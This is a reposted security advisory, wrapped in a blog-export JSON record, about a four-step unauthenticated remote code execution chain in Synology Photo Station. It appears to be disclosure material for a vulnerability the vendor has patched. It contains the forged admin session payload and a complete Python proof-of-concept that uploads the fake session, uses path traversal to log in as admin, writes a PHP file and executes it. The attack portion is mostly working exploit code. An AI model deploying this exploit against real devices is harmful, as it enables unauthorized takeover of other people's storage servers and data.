{"id":8614,"date":"2017-08-07T14:19:14","date_gmt":"2017-08-07T22:19:14","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2017\/08\/07\/news-2387\/"},"modified":"2017-08-07T14:19:14","modified_gmt":"2017-08-07T22:19:14","slug":"news-2387","status":"publish","type":"post","link":"https:\/\/www.palada.net\/index.php\/2017\/08\/07\/news-2387\/","title":{"rendered":"SSD Advisory \u2013 Synology Photo Station Unauthenticated Remote Code Execution"},"content":{"rendered":"<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Mon, 07 Aug 2017 05:23:22 +0000<\/strong><\/p>\n<div class=\"entry-content\">\n<p><strong>Want to get paid for a vulnerability similar to this one?<\/strong><br \/>Contact us at: <a href=\"mailto:sxsxd@bxexyxoxnxdxsxexcxuxrxixtxy.com\" onmouseover=\"this.href=this.href.replace(\/x\/g,'');\" id=\"a-href-3356\">sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom<\/a><\/p>\n<p><script>var obj = jQuery('#a-href-3356');if(obj[0]) { obj[0].innerText = obj[0].innerText.replace(\/x\/g, ''); }<\/script>  \t\t<\/p>\n<div class=\"pf-content\">\n<p><strong>Vulnerability Summary<\/strong><br \/> The following advisory describes a Remote Code Execution found in Synology Photo Station versions 6.7.3-3432 and earlier \/ 6.3-2967 and earlier.<\/p>\n<p>Personal Photo Station is an online photo album with blog owned and managed by a DSM user. Synology NAS provides the home\/photo folder for you to store photos and videos that you want to share. The system will create index thumbnails of the photos and videos automatically, and then people can view photo albums via a web browser.<\/p>\n<p><strong>Credit<\/strong><br \/> An independent security researcher, Kacper Szurek, has reported this vulnerability to Beyond Security\u2019s SecuriTeam Secure Disclosure program<\/p>\n<p><strong>Vendor response<\/strong><br \/> The vendor has released patches to address this vulnerability.<\/p>\n<p>For more details: <a href=\"https:\/\/www.synology.com\/zh-tw\/support\/security\/Synology_SA_17_34_PhotoSation\" target=\"_blank\">https:\/\/www.synology.com\/zh-tw\/support\/security\/Synology_SA_17_34_PhotoSation<\/a><\/p>\n<p>CVE&#8217;s:<\/p>\n<ul>\n<li>CVE-2017-11151<\/li>\n<li>CVE-2017-11152<\/li>\n<li>CVE-2017-11153<\/li>\n<li>CVE-2017-11154<\/li>\n<li>CVE-2017-11155<\/li>\n<\/ul>\n<p><span id=\"more-3356\"><\/span><\/p>\n<p><strong>Vulnerability details<\/strong><br \/> The remote code execution is a combination of 4 different vulnerabilities:<\/p>\n<ul>\n<li>Upload arbitrary files to the specified directories<\/li>\n<li>Log in with a fake authentication mechanism<\/li>\n<li>Log in to Photo Station with any identity<\/li>\n<li>Execute arbitrary code by authenticated user with administrator privileges<\/li>\n<\/ul>\n<p>The chain of vulnerabilities will allow you, in the end, to execute code as: <\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5988e7607d32e167065930\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> uid=138862(PhotoStation) gid=138862(PhotoStation) groups=138862(PhotoStation)<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">  \t\t\t\t  \t\t\t<\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0005 seconds] -->  <\/p>\n<p>The first step is to exploit the ability to upload arbitrary files &#8211; User controlled input is not sufficiently sanitized, when passed to <em>\/photo\/include\/synotheme_upload.php<\/em> function. Successful exploitation of this vulnerability enables a remote unauthenticated user to upload arbitrary files.<\/p>\n<p>The file will be uploaded to <em>\/var\/packages\/PhotoStation\/etc\/blog\/<\/em> or <em>\/var\/services\/photo\/@eaDir\/SYNOPHOTO_THEME_DIR\/<\/em>.<\/p>\n<p>The second step is to use the user controlled file to create a valid session by using the the following file content: <\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5988e7607d338951147036\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> root|a:2:{s:19:&#8221;security_identifier&#8221;;s:&#8217;+str(len(ip))+&#8217;:&#8221;&#8216;+ip+'&#8221;;s:15:&#8221;admin_syno_user&#8221;;s:7:&#8221;hlinak3&#8243;;}<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5988e7607d338951147036-1\">1<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5988e7607d338951147036-1\"><span class=\"crayon-v\">root<\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-v\">a<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">19<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-s\">&#8220;security_identifier&#8221;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-s\">&#8216;+str(len(ip))+&#8217;<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-s\">&#8220;&#8216;+ip+'&#8221;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-s\">&#8220;admin_syno_user&#8221;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">7<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-s\">&#8220;hlinak3&#8221;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0005 seconds] -->  <\/p>\n<p>And send a request to <em>general_setting.php<\/em> with the parameter that include the file we uploaded as a session.<\/p>\n<p>The third step is to log with the new root user we created.<\/p>\n<p>Once we log-in we can upload a file with our malicious code and execute him by send a <em>GET<\/em> request<\/p>\n<p>Furthermore, the last vulnerability is the ability to identify Photo Station version.<\/p>\n<p>By default when you visit photo station url <em>http:\/\/IP\/photo\/#!Albums<\/em>, in the source code you can identify the Photo Station version:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5988e7607d33b789098589\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-mixed-highlight\" title=\"Contains Mixed Languages\"><\/span><\/p>\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &lt;script src=&#8221;js_php\/prevent_iframe.js.php?v=6.7.1-3419&#8243;&gt;&lt;\/script&gt;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5988e7607d33b789098589-1\">1<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5988e7607d33b789098589-1\"><span class=\"crayon-ta\">&lt;script <\/span><span class=\"crayon-e\">src<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;js_php\/prevent_iframe.js.php?v=6.7.1-3419&#8221;<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-ta\">&lt;\/script&gt;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0015 seconds] -->  <\/p>\n<p>6.7.1-3419 is version of Photo Station installed.<\/p>\n<p><strong>Proof of Concept<\/strong><\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5988e7607d33e891195377\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-mixed-highlight\" title=\"Contains Mixed Languages\"><\/span><\/p>\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> import requests    # What server you want to attack  synology_ip = &#8216;http:\/\/192.168.1.100&#8217;    # Your current IP  ip = &#8216;192.168.1.200&#8217;    # PHP code you want to execute  php_to_execute = &#8216;&lt;?php echo system(&#8220;id&#8221;); ?&gt;&#8217;    encoded_session = &#8216;root|a:2:{s:19:&#8221;security_identifier&#8221;;s:&#8217;+str(len(ip))+&#8217;:&#8221;&#8216;+ip+'&#8221;;s:15:&#8221;admin_syno_user&#8221;;s:7:&#8221;hlinak3&#8243;;}&#8217;    print &#8220;[+] Set fake admin sesssion&#8221;  file = [(&#8216;file&#8217;, (&#8216;foo.jpg&#8217;, encoded_session))]    r = requests.post(&#8216;{}\/photo\/include\/synotheme_upload.php&#8217;.format(synology_ip), data = {&#8216;action&#8217;:&#8217;logo_upload&#8217;}, files=file)  print r.text    print &#8220;[+] Login as fake admin&#8221;    # Depends on version it might be stored in different dirs  payload = {&#8216;session&#8217;: &#8216;\/..\/..\/..\/..\/..\/var\/packages\/PhotoStation\/etc\/blog\/photo_custom_preview_logo.png&#8217;}  # payload = {&#8216;session&#8217;: &#8216;\/..\/..\/..\/..\/..\/var\/services\/photo\/@eaDir\/SYNOPHOTO_THEME_DIR\/photo_custom_preview_logo.png&#8217;}    try_login = requests.post(&#8216;{}\/photo\/include\/file_upload.php&#8217;.format(synology_ip), params=payload)    whichact = {&#8216;action&#8217; : &#8216;get_setting&#8217;}  r = requests.post(&#8216;{}\/photo\/admin\/general_setting.php&#8217;.format(synology_ip), data=whichact, cookies=try_login.cookies)  print r.text    print &#8220;[+] Upload php file&#8221;    c = {&#8216;action&#8217; : &#8216;save&#8217;, &#8216;image&#8217; : &#8216;data:\/\/text\/plain;base64,&#8217;+php_to_execute.encode(&#8216;base64&#8217;), &#8216;path&#8217; : &#8216;\/volume1\/photo\/..\/..\/..\/volume1\/@appstore\/PhotoStation\/photo\/facebook\/exploit&#8217;.encode(&#8220;base64&#8221;), &#8216;type&#8217; : &#8216;php&#8217;}  r = requests.post(&#8216;{}\/photo\/PixlrEditorHandler.php&#8217;.format(synology_ip), data=c, cookies=try_login.cookies)  print r.text      print &#8220;[+] Execute payload&#8221;  f = requests.get(&#8216;{}\/photo\/facebook\/exploit.php&#8217;.format(synology_ip))    print f.text<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5988e7607d33e891195377-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5988e7607d33e891195377-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5988e7607d33e891195377-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5988e7607d33e891195377-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5988e7607d33e891195377-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5988e7607d33e891195377-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5988e7607d33e891195377-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5988e7607d33e891195377-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5988e7607d33e891195377-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5988e7607d33e891195377-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5988e7607d33e891195377-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5988e7607d33e891195377-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5988e7607d33e891195377-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5988e7607d33e891195377-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5988e7607d33e891195377-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5988e7607d33e891195377-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5988e7607d33e891195377-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5988e7607d33e891195377-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5988e7607d33e891195377-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5988e7607d33e891195377-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5988e7607d33e891195377-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5988e7607d33e891195377-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5988e7607d33e891195377-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5988e7607d33e891195377-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5988e7607d33e891195377-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5988e7607d33e891195377-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5988e7607d33e891195377-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5988e7607d33e891195377-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5988e7607d33e891195377-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5988e7607d33e891195377-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5988e7607d33e891195377-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5988e7607d33e891195377-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5988e7607d33e891195377-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5988e7607d33e891195377-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5988e7607d33e891195377-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5988e7607d33e891195377-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5988e7607d33e891195377-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5988e7607d33e891195377-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5988e7607d33e891195377-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5988e7607d33e891195377-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5988e7607d33e891195377-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5988e7607d33e891195377-42\">42<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5988e7607d33e891195377-1\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">requests<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5988e7607d33e891195377-2\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5988e7607d33e891195377-3\"><span class=\"crayon-p\"># What server you want to attack<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5988e7607d33e891195377-4\"><span class=\"crayon-v\">synology_ip<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;http:\/\/192.168.1.100&#8217;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5988e7607d33e891195377-5\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5988e7607d33e891195377-6\"><span class=\"crayon-p\"># Your current IP<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5988e7607d33e891195377-7\"><span class=\"crayon-v\">ip<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;192.168.1.200&#8217;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5988e7607d33e891195377-8\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5988e7607d33e891195377-9\"><span class=\"crayon-p\"># PHP code you want to execute<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5988e7607d33e891195377-10\"><span class=\"crayon-v\">php_to_execute<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;<span class=\"crayon-ta\">&lt;?php<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-k\">echo<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">system<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;id&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-ta\">?&gt;<\/span>&#8216;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5988e7607d33e891195377-11\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5988e7607d33e891195377-12\"><span class=\"crayon-v\">encoded_session<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;root|a:2:{s:19:&#8221;security_identifier&#8221;;s:&#8217;<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-e\">str<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">len<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">ip<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-s\">&#8216;:&#8221;&#8216;<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-v\">ip<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-s\">&#8216;&#8221;;s:15:&#8221;admin_syno_user&#8221;;s:7:&#8221;hlinak3&#8243;;}&#8217;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5988e7607d33e891195377-13\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5988e7607d33e891195377-14\"><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;[+] Set fake admin sesssion&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5988e7607d33e891195377-15\"><span class=\"crayon-v\">file<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;file&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;foo.jpg&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">encoded_session<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5988e7607d33e891195377-16\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5988e7607d33e891195377-17\"><span class=\"crayon-v\">r<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">requests<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">post<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;{}\/photo\/include\/synotheme_upload.php&#8217;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">format<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">synology_ip<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-s\">&#8216;action&#8217;<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-s\">&#8216;logo_upload&#8217;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">files<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">file<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5988e7607d33e891195377-18\"><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">text<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5988e7607d33e891195377-19\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5988e7607d33e891195377-20\"><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;[+] Login as fake admin&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5988e7607d33e891195377-21\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5988e7607d33e891195377-22\"><span class=\"crayon-p\"># Depends on version it might be stored in different dirs<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5988e7607d33e891195377-23\"><span class=\"crayon-v\">payload<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-s\">&#8216;session&#8217;<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;\/..\/..\/..\/..\/..\/var\/packages\/PhotoStation\/etc\/blog\/photo_custom_preview_logo.png&#8217;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5988e7607d33e891195377-24\"><span 